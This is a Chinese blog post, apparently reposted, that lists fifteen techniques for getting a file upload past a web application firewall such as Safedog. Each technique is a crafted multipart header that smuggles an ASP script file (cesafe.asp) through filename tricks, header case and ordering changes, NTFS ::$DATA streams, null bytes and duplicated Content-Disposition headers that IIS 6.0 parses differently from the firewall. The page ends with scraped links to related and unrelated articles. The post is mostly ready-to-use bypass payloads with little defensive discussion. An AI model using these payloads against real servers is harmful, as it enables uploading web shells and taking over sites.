文件上传过waf的方法
原文链接: https://www.cesafe.com/8411.html
原始请求包:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”
Content-Type: text/html
方法1,文件名前缀加[0x09]绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”[0x09]cesafe.asp”
Content-Type: text/html
方法2,文件名去掉双引号绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=cesafe.asp
Content-Type: text/html
方法3,添加一个filename1的文件名参数,并赋值绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”;filename1=”test.jpg”
Content-Type: text/html
方法4,form变量改成f+orm组合绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name=”filepath”;filename=”cesafe.asp”
Content-Type: text/html
方法5,文件名后缀大小写绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.Asp”
Content-Type: text/html
方法6,去掉form-data变量绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name=”filepath”; filename=”cesafe.asp”
Content-Type: text/html
方法7,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data ; name=”filepath”; filename=“cesafe.asp”
Content-Type: text/html
方法8,cesafe.asp . (空格+.)绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp .”
Content-Type: text/html
方法9,“回车换行,绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp ”
Content-Type: text/html
方法10,NTFS流 在文件名后加::$DATA绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA” Content-Type: text/html
OR
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA\0x00\fuck.asp0x00.jpg”
Content-Type: text/html
方法11,经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传cesafe.asp成功]:
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp” —————————–
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.txt”
Content-Type: application/octet-stream
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp”
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp”
方法12,将Content-Type和ConTent-Disposition调换顺序位置绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Type: text/html
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”
方法13,在文件名前缀加空格(tab键可替换)绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename= “cesafe.asp”
Content-Type: text/html
方法14,在form-data前加空格绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data;name=”uploaded”; filename=”cesafe.asp”
Content-Type: text/html
方法15,在form-data的前或后加上+绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: +form-data; name=”filepath”; filename=”cesafe.asp”
Content-Type: text/html
参考:https://www.cesafe.com/8411.html
文件上传过waf的方法的更多相关文章
- 文件上传和WAF的攻与防
Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...
- PHP实现多文件上传的一些简单方法
下面我们就通过具体的代码示例,为大家介绍PHP实现多文件上传的一些简单方法. 第一种方法:利用单个文件上传方法 一段简单的form表单代码如下: <!DOCTYPE html> <h ...
- 文件上传之WAF绕过及相安全防护
文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...
- 24:WEB漏洞-文件上传之WAF绕过及安全修复
本课重点 案例1:上传数据包参数对应修改测试 案例2:safedog+云服务器+uploadlabs测试 案例3:safedog+云服务器+uploadlabs_fuzz测试 案例4:文件上传安全修复 ...
- IIS 之 通过 Web.config 修改文件上传大小限制设置方法
在IIS 6.0中,不设置默认大小为4M,设置文件上传大小的方法,maxRequestLength(KB),executionTimeout(毫秒),配置如下节点: <system.web> ...
- springMVC文件上传的三种方法
这时:commonsmultipartresolver 的源码,可以研究一下 http://www.verysource.com/code/2337329_1/commonsmultipartreso ...
- 详解jQuery uploadify文件上传插件的使用方法
uploadify这个插件是基于js里面的jquery库写的.结合了ajax和flash,实现了这个多线程上传的功能. 现在最新版为3.2.1. 在线实例 实例中用到的php文件UploaderDem ...
- SpringBoot从入门到精通十一(SpringBoot文件上传的两种方法)
前言 在企业级项目开发过程中,上传文件是最常用到的功能.SpringBoot集成了SpringMVC,当然上传文件的方式跟SpringMVC没有什么出入. 本章目标 使用SpringBoot项目完成单 ...
- IIS 6和IIS 7 中设置文件上传大小限制设置方法,两者是不一样的
在IIS 6.0中设置文件上传大小的方法,只要设置httpRuntime就可以了 <system.web> <httpRuntime executionTimeout="3 ...
随机推荐
- 查看Linux系统内存、CPU、磁盘使用率和详细信息
一.查看内存占用 1.free # free -m 以MB为单位显示内存使用情况 [root@localhost ~]# free -m total used free shared buff/cac ...
- openlayers6实现webgl点图层渲染效果(附源码下载)
前言:openlayers6推出来的有一段时间,推出来的新特性见:https://github.com/openlayers/openlayers/releases/该版本的主要功能是能够组合具有不同 ...
- window 下如何恢复被删除的mysql root账户及密码(mysql 8.0.17)
不久前自学完完sql,下了mysql8.0.17,安装配置好后探索着,想着用root账户登上去能不能删除root账户呢,然后就想给自己一巴掌,,, 如何快速恢复root: 1.关闭mysql服务:wi ...
- redis 5.0.7 源码阅读——字典dict
redis中字典相关的文件为:dict.h与dict.c 与其说是一个字典,道不如说是一个哈希表. 一.数据结构 dictEntry typedef struct dictEntry { void * ...
- 洛谷 P4298: bzoj 1143: [CTSC2008]祭祀
题目传送门:洛谷 P4298. 题意简述: 给定一个 \(n\) 个点,\(m\) 条边的简单有向无环图(DAG),求出它的最长反链,并构造方案. 最长反链:一张有向无环图的最长反链为一个集合 \(S ...
- Python爬虫实战教程:爬取网易新闻;爬虫精选 高手技巧
前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. stars声明很多小伙伴学习Python过程中会遇到各种烦恼问题解决不了.为 ...
- Linux学习Day1:开班第一天
其实这篇博客应该昨天就要写完的,算是补作业吧. 昨天(2020年2月14日)是参加Linux线上培训的第一天,当天培训结束后,老师要求学员每天写一篇博客来记录自己学到的知识,于是就有了这篇博客的诞生. ...
- python里奇怪的赋值
学了几天python了,python简洁,灵活,应用广泛,我已有所感. 1.奇怪的赋值 a,b,c=1,2,3 就一个这样的句子,就把1,2,3分别赋给了变量a,b,c,这也太奇怪了吧,太随意了吧.在 ...
- 首次使用Lambda表达式-sunziren
需要将List<Apple> list = new ArrayList<Apple>(); 按照Apple对象中的price属性从大到小排序. 第一个念头闪过的是冒泡排序,转念 ...
- P1055 ISBN号码(getline(cin,s); printf("%s",str); )
题目描述 每一本正式出版的图书都有一个 ISBN 号码与之对应,ISBN 码包括 9 位数字.1 位识别码和 3 位分隔符,其规定格式如 x-xxx-xxxxx-x,其中符号 - 就是分隔符(键盘上的 ...